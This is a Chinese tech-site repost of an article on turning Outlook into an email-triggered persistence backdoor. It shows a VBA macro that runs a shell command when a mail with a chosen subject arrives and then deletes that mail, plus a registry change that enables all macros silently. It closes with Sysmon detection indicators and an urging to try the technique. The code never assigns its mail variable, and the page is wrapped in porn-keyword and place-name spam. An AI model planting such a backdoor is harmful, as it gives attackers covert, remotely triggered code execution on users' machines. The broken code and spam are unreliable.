亚洲激情专区-91九色丨porny丨老师-久久久久久久女国产乱让韩-国产精品午夜小视频观看

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

怎么利用Outlook來創建基于電子郵件的持久化后門

發布時間:2021-10-22 14:40:26 來源:億速云 閱讀:262 作者:iii 欄目:編程語言

本篇內容主要講解“怎么利用Outlook來創建基于電子郵件的持久化后門”,感興趣的朋友不妨來看看。本文介紹的方法操作簡單快捷,實用性強。下面就讓小編來帶大家學習“怎么利用Outlook來創建基于電子郵件的持久化后門”吧!

技術分析

跟大多數的Microsoft Office產品一樣,Outlook也可以啟用開發者選項,并通過VB編輯器來創建基于VBA的宏。打開編輯器,然后創建一個簡單的宏文件,你將會看到一個名為“ThisOutlookSession”的Outlook模塊:

怎么利用Outlook來創建基于電子郵件的持久化后門

保存這個宏之后,一個VbaProject.OTM文件將會在“%APPDATA%\Roaming\Microsoft\Outlook ”目錄中被創建:

怎么利用Outlook來創建基于電子郵件的持久化后門

在默認配置下是無法執行這個宏的,因為默認配置為“除了已簽名的宏之外,其他所有的宏都被禁用”。

但是,我們可以通過使用以下值創建Security注冊表項來修改此配置:

怎么利用Outlook來創建基于電子郵件的持久化后門

Level值定義的是宏安全配置,包含下列值:

4 = Disable all macros without notification

3 = Notifications for digitally signed macros, all other macros disabled

2 = Notifications for all macros

1 = Enable all Macros

如果想允許宏以隱蔽方式運行而不通知用戶的話,我們需要設置“Level”值以在操作期間啟用所有宏。

通過檢查VbaProject.OTM文件,我們發現它是標準的Microsoft復合文檔文件(CDF):

dmc@deathstar ~  ? file ~/VbaProject.OTM

VbaProject.OTM: Composite Document File V2 Document, Cannot read section info

對oledump.py進行深入分析后,我們發現了包含宏代碼的OLE數據流:

dmc@deathstar ~  ? python oledump.py ~/VbaProject.OTM

  1:        43 'OutlookProjectData'

  2:       388 'OutlookVbaData/PROJECT'

  3:        59 'OutlookVbaData/PROJECTwm'

  4: M    6156 'OutlookVbaData/VBA/ThisOutlookSession'

  5:      2663 'OutlookVbaData/VBA/_VBA_PROJECT'

  6:       497 'OutlookVbaData/VBA/dir'

現在,我們已經知道VbaProject.OTM是一個啟用了標準OLE宏的文檔,因此創建、混淆、清除和重載這些文件的傳統工具和技術仍然適用。接下來,我們看看如何將其轉換成一種持久化武器。

宏武器化

為了讓這種VBA代碼執行技術轉換成對我們有用的東西,我們需要將代碼作為事件的結果執行。ThisOutlookSession模塊允許我們訂閱Outlook中的各種事件,這就是我們實現代碼執行的一個可用元素了。

針對持久化來說,目標事件的潛在選項包括用戶驅動的某些事件,比如說Outlook打開或用戶自行操作的某些事件,例如指定的郵件送達等等。對于我們的場景,我們將主要研究如何利用帶有特定主題的郵件來執行任意的VBA。

為了確認新郵件的接收時間,我們可以在Outlook啟動時首先訂閱默認收件箱的相關事件。首先,在注冊事件的同時在默認收件箱文件夾(olInboxItems)中設置變量:

Option Explicit

Private WithEvents olInboxItems As Items

Private Sub Application_Startup()

    Set olInboxItems = Session.GetDefaultFolder(olFolderInbox).Items

End Sub

為了使用指向用戶收件箱的引用,我們可以使用“ItemAdd”回調來接收新消息抵達事件:

Private Sub olInboxItems_ItemAdd(ByVal Item As Object)

End Sub

具體說來,我們只對接收的電子郵件感興趣,因此我們需要對回調進行優化,只允許新郵件來觸發我們的事件。這里可以通過驗證郵件類型是否為“MailItem”來實現:

Private Sub olInboxItems_ItemAdd(ByVal Item As Object)  

    If TypeOf Item Is MailItem Then

        MsgBox "You have mail"

    End If

End Sub

當然了,我們并不需要每一封接收到的郵件都觸發我們的事件,所以我們需要對郵件地址、主題和正文內容等進行過濾:

Private Sub olInboxItems_ItemAdd(ByVal Item As Object)

    On Error Resume Next

    Dim olMailItem As MailItem

    If TypeOf Item Is MailItem Then

       If InStr(olMailItem.Subject, "MDSec") > 0 Then

            MsgBox "Hack The Planet"

            olMailItem.Delete

        End If

    End If

    Set Item = Nothing

    Set olMailItem = Nothing

End Sub

持久化PoC

綜上所屬,讓我們來彈個計算器(calc.exe)試試:

Option Explicit

 

Private WithEvents olInboxItems As Items

 

Private Sub Application_Startup()

    Set olInboxItems = Session.GetDefaultFolder(olFolderInbox).Items

End Sub

 

Private Sub olInboxItems_ItemAdd(ByVal Item As Object)

    On Error Resume Next

    Dim olMailItem As MailItem

    If TypeOf Item Is MailItem Then

       If InStr(olMailItem.Subject, "MDSec") > 0 Then

            MsgBox "Hack The Planet"

            Shell "calc.exe"

            olMailItem.Delete

        End If

    End If

    Set Item = Nothing

    Set olMailItem = Nothing

End Sub

PoC演示

怎么利用Outlook來創建基于電子郵件的持久化后門

怎么利用Outlook來創建基于電子郵件的持久化后門

檢測

從目標設備的角度來看,我們可以通過下列兩個關鍵指標來檢測這種攻擊技術:

  • 監控“%APPDATA%\Roaming\Microsoft\Outlook\VbaProject.OTM”文件的創建和修改事件(Sysmon 事件 ID 11);

  • 監控“HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Security”注冊表鍵值的創建和修改事件(Sysmon 事件 ID 12);

到此,相信大家對“怎么利用Outlook來創建基于電子郵件的持久化后門”有了更深的了解,不妨來實際操作一番吧!這里是億速云網站,更多相關內容可以進入相關頻道進行查詢,關注我們,繼續學習!

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

乌苏市| 威信县| 抚州市| 铜梁县| 苏尼特左旗| 瑞丽市| 客服| 乐平市| 杭州市| 淮南市| 崇义县| 大新县| 绵阳市| 桐乡市| 油尖旺区| 安顺市| 南部县| 商丘市| 保德县| 滦南县| 通城县| 介休市| 治多县| 密山市| 皋兰县| 郎溪县| 灵武市| 安国市| 荆门市| 垣曲县| 宾阳县| 长兴县| 永宁县| 迁安市| 和政县| 逊克县| 务川| 平泉县| 北票市| 银川市| 武冈市|